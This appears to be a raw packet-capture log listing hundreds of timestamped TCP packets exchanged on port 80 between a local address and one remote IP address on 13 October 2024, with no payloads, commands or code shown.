Oct 13, 2024 06:54:17.477713108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477713108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477756977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477788925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477823973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477843046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477843046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477843046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477861881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477879047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477895975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477929115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477978945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.477992058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477992058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.477992058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478012085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478044987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478049040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478061914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478089094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478115082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478168011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478189945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478197098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478240013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478250027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478301048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478307962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478352070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478372097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478385925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478388071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478437901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478471041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478502035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478523016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478530884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478533983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478568077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478568077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478598118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478601933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478636026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478650093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478650093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478668928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478691101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478703022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.478713989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.478842020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505578041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505625963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505630016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505665064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505701065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505705118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505711079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505755901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505783081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505798101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505808115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505861044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505913973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.505928993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505928993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505959034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.505964994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506016016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506048918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506082058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506084919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506084919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506098986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506150007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506182909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506207943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506207943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506233931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506237984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506303072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506350994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506350994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506357908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506392002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506407976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506442070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506489992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506493092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506515026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506545067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506576061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506577969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506597042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506628036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506660938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506663084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506690979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506701946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506712914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506743908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506793976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506797075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506824017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506830931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506844044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506886959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.506896973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506917000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506931067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506949902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.506998062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507047892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507092953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507093906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507093906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507093906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507093906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507093906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507097960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507148027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507210016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507244110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507291079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507343054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507352114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507352114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507352114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507352114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507352114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507405043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507426023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507460117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507493019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507524967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507548094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507548094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507548094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507555962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507575035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507590055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507623911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507656097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507683992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507715940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507746935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507764101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507764101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507764101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507764101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507764101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507764101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507777929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507813931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507844925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507875919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507909060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507939100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507939100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507939100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507939100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507939100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507941008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507963896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.507971048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.507985115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508003950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508037090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508068085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508100033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508130074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508162022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508177996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508177996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508177996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508177996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508177996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508177996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508196115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508229971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508260965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508292913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508323908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508356094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508388996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508424044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508455992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508487940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508519888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508552074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508562088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508562088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508562088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508562088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508562088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508562088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508584976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508599043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508619070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508635044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508651972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508683920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508713007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508744001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508775949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508807898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508824110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508824110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508824110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508824110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508824110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508824110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508841991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508853912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508874893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508908033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508933067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508933067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.508941889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.508975029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.509006977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.509035110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.509035110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.509035110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.509042025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.509047031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.509074926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.509088039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.509109974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.509227991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.509227991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566092968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566184044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566278934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566313982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566346884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566378117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566410065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566441059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566473961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566484928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566484928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566484928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566484928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566484928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566485882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566504002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566535950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566567898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566572905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566572905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566572905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566600084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566607952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566633940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566665888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566704988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566732883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.566803932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566803932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566803932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566803932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.566803932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567574024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567625999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567647934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567675114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567694902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567707062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567723036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567739964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567742109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567774057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567810059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567842007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567858934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567858934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567858934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567874908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567907095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567939043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567970037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567970037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.567970037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.567970037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.568006039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.568015099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.568015099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.568041086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.568094015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.568094015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594584942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594635963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594669104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594676018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594676971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594702959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594716072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594749928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594753981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594785929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594832897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594849110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594862938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594878912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594885111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594918013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594966888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.594984055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.594984055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595000982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595014095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595033884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595067024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595098019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595130920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595144987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595144987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595144987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595145941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595165014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595166922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595201015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595232964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595266104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595273972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595273972 CEST	49730	80	192.168.2.4	185.215.113.37
